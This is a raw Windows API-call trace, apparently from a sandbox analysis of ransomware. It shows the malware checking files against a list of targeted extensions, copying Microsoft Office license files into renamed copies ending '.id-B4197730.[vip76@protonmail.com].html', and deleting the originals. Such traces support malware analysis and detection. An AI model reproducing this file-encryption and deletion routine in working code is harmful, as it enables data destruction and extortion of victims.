	[0200.838] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.838] lstrlenW (lpString=".docx") returned 5
	[0200.839] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.839] lstrlenW (lpString=".pdf") returned 4
	[0200.839] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.839] lstrlenW (lpString=".xls") returned 4
	[0200.839] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.839] lstrlenW (lpString=".xlsx") returned 5
	[0200.839] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.839] lstrlenW (lpString=".ppt") returned 4
	[0200.839] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82
	[0200.839] lstrlenW (lpString=".zip") returned 4
	[0200.839] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.839] lstrlenW (lpString=".rar") returned 4
	[0200.839] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.839] lstrlenW (lpString=".bz2") returned 4
	[0200.839] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.839] lstrlenW (lpString=".7z") returned 3
	[0200.839] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82
	[0200.839] lstrlenW (lpString=".dbf") returned 4
	[0200.839] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82
	[0200.839] lstrlenW (lpString=".1cd") returned 4
	[0200.839] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82
	[0200.839] lstrlenW (lpString=".jpg") returned 4
	[0200.839] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.839] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0200.840] lstrlenW (lpString="O365HomePremR_SubTest2-ppd.xrm-ms") returned 33
	[0200.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4fc
	[0200.840] GetFileSizeEx (in: hFile=0x4fc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=23134) returned 1
	[0200.840] CloseHandle (hObject=0x4fc) returned 1
	[0200.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms")) returned 0x220
	[0200.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4fc
	[0200.841] SetFilePointerEx (in: hFile=0x4fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.841] SetFilePointerEx (in: hFile=0x4fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0200.842] GetLastError () returned 0x0
	[0200.842] ReadFile (in: hFile=0x4fc, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x5a5e, lpOverlapped=0x0) returned 1
	[0200.845] WriteFile (in: hFile=0x514, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x5a60, lpOverlapped=0x0) returned 1
	[0200.846] ReadFile (in: hFile=0x4fc, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.846] WriteFile (in: hFile=0x514, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x116, lpOverlapped=0x0) returned 1
	[0200.846] SetEndOfFile (hFile=0x514) returned 1
	[0200.846] CloseHandle (hObject=0x514) returned 1
	[0200.846] SetFilePointerEx (in: hFile=0x4fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.846] SetEndOfFile (hFile=0x4fc) returned 1
	[0200.849] CloseHandle (hObject=0x4fc) returned 1
	[0200.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.850] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms")) returned 1
	[0200.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83
	[0200.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83
	[0200.850] lstrlenW (lpString=".doc") returned 4
	[0200.851] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.851] lstrlenW (lpString=".docx") returned 5
	[0200.851] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.851] lstrlenW (lpString=".pdf") returned 4
	[0200.851] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.851] lstrlenW (lpString=".xls") returned 4
	[0200.851] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.851] lstrlenW (lpString=".xlsx") returned 5
	[0200.851] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.851] lstrlenW (lpString=".ppt") returned 4
	[0200.851] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83
	[0200.851] lstrlenW (lpString=".zip") returned 4
	[0200.851] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.851] lstrlenW (lpString=".rar") returned 4
	[0200.851] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.851] lstrlenW (lpString=".bz2") returned 4
	[0200.851] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.851] lstrlenW (lpString=".7z") returned 3
	[0200.851] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83
	[0200.851] lstrlenW (lpString=".dbf") returned 4
	[0200.851] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83
	[0200.851] lstrlenW (lpString=".1cd") returned 4
	[0200.851] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83
	[0200.851] lstrlenW (lpString=".jpg") returned 4
	[0200.851] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83
	[0200.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83
	[0200.851] lstrlenW (lpString=".doc") returned 4
	[0200.852] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.852] lstrlenW (lpString=".docx") returned 5
	[0200.852] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.852] lstrlenW (lpString=".pdf") returned 4
	[0200.852] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.852] lstrlenW (lpString=".xls") returned 4
	[0200.852] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.852] lstrlenW (lpString=".xlsx") returned 5
	[0200.852] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.852] lstrlenW (lpString=".ppt") returned 4
	[0200.852] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83
	[0200.852] lstrlenW (lpString=".zip") returned 4
	[0200.852] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.852] lstrlenW (lpString=".rar") returned 4
	[0200.852] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.852] lstrlenW (lpString=".bz2") returned 4
	[0200.852] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.852] lstrlenW (lpString=".7z") returned 3
	[0200.852] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83
	[0200.852] lstrlenW (lpString=".dbf") returned 4
	[0200.852] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83
	[0200.852] lstrlenW (lpString=".1cd") returned 4
	[0200.852] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83
	[0200.853] lstrlenW (lpString=".jpg") returned 4
	[0200.853] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.853] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0200.853] lstrlenW (lpString="O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 36
	[0200.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4fc
	[0200.854] GetFileSizeEx (in: hFile=0x4fc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11630) returned 1
	[0200.854] CloseHandle (hObject=0x4fc) returned 1
	[0200.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms")) returned 0x220
	[0200.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4fc
	[0200.855] SetFilePointerEx (in: hFile=0x4fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.855] SetFilePointerEx (in: hFile=0x4fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0200.855] GetLastError () returned 0x0
	[0200.855] ReadFile (in: hFile=0x4fc, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2d6e, lpOverlapped=0x0) returned 1
	[0201.286] WriteFile (in: hFile=0x514, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0201.288] ReadFile (in: hFile=0x4fc, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0201.288] WriteFile (in: hFile=0x514, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0201.288] SetEndOfFile (hFile=0x514) returned 1
	[0201.288] CloseHandle (hObject=0x514) returned 1
	[0201.288] SetFilePointerEx (in: hFile=0x4fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.289] SetEndOfFile (hFile=0x4fc) returned 1
	[0201.293] CloseHandle (hObject=0x4fc) returned 1
	[0201.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0201.294] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms")) returned 1
	[0201.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86
	[0201.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86
	[0201.295] lstrlenW (lpString=".doc") returned 4
	[0201.295] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.295] lstrlenW (lpString=".docx") returned 5
	[0201.295] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.295] lstrlenW (lpString=".pdf") returned 4
	[0201.295] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.295] lstrlenW (lpString=".xls") returned 4
	[0201.295] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.295] lstrlenW (lpString=".xlsx") returned 5
	[0201.295] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.295] lstrlenW (lpString=".ppt") returned 4
	[0201.295] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86
	[0201.296] lstrlenW (lpString=".zip") returned 4
	[0201.296] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.296] lstrlenW (lpString=".rar") returned 4
	[0201.296] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.296] lstrlenW (lpString=".bz2") returned 4
	[0201.296] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.296] lstrlenW (lpString=".7z") returned 3
	[0201.296] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86
	[0201.296] lstrlenW (lpString=".dbf") returned 4
	[0201.296] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86
	[0201.296] lstrlenW (lpString=".1cd") returned 4
	[0201.296] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86
	[0201.296] lstrlenW (lpString=".jpg") returned 4
	[0201.296] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86
	[0201.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86
	[0201.296] lstrlenW (lpString=".doc") returned 4
	[0201.296] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.296] lstrlenW (lpString=".docx") returned 5
	[0201.296] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.296] lstrlenW (lpString=".pdf") returned 4
	[0201.296] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.296] lstrlenW (lpString=".xls") returned 4
	[0201.296] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.296] lstrlenW (lpString=".xlsx") returned 5
	[0201.296] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.296] lstrlenW (lpString=".ppt") returned 4
	[0201.296] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86
	[0201.297] lstrlenW (lpString=".zip") returned 4
	[0201.297] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.297] lstrlenW (lpString=".rar") returned 4
	[0201.297] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.297] lstrlenW (lpString=".bz2") returned 4
	[0201.297] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.297] lstrlenW (lpString=".7z") returned 3
	[0201.297] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86
	[0201.297] lstrlenW (lpString=".dbf") returned 4
	[0201.297] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86
	[0201.297] lstrlenW (lpString=".1cd") returned 4
	[0201.297] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86
	[0201.297] lstrlenW (lpString=".jpg") returned 4
	[0201.297] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.297] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0201.297] lstrlenW (lpString="O365HomePremR_SubTest5-pl.xrm-ms") returned 32
	[0201.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4fc
	[0201.298] GetFileSizeEx (in: hFile=0x4fc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11179) returned 1
	[0201.298] CloseHandle (hObject=0x4fc) returned 1
	[0201.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms")) returned 0x220
	[0201.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0201.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4fc
	[0201.299] SetFilePointerEx (in: hFile=0x4fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.299] SetFilePointerEx (in: hFile=0x4fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0201.300] GetLastError () returned 0x0
	[0201.300] ReadFile (in: hFile=0x4fc, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2bab, lpOverlapped=0x0) returned 1
	[0201.304] WriteFile (in: hFile=0x514, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0201.306] ReadFile (in: hFile=0x4fc, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0201.306] WriteFile (in: hFile=0x514, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x114, lpOverlapped=0x0) returned 1
	[0201.306] SetEndOfFile (hFile=0x514) returned 1
	[0201.306] CloseHandle (hObject=0x514) returned 1
	[0201.306] SetFilePointerEx (in: hFile=0x4fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.306] SetEndOfFile (hFile=0x4fc) returned 1
	[0201.309] CloseHandle (hObject=0x4fc) returned 1
	[0201.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0201.309] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms")) returned 1
	[0201.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82
	[0201.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82
	[0201.310] lstrlenW (lpString=".doc") returned 4
	[0201.310] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.310] lstrlenW (lpString=".docx") returned 5
	[0201.310] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.310] lstrlenW (lpString=".pdf") returned 4
	[0201.310] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.310] lstrlenW (lpString=".xls") returned 4
	[0201.310] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.310] lstrlenW (lpString=".xlsx") returned 5
	[0201.310] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.310] lstrlenW (lpString=".ppt") returned 4
	[0201.310] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82
	[0201.310] lstrlenW (lpString=".zip") returned 4
	[0201.310] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.310] lstrlenW (lpString=".rar") returned 4
	[0201.311] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.311] lstrlenW (lpString=".bz2") returned 4
	[0201.311] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.311] lstrlenW (lpString=".7z") returned 3
	[0201.311] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
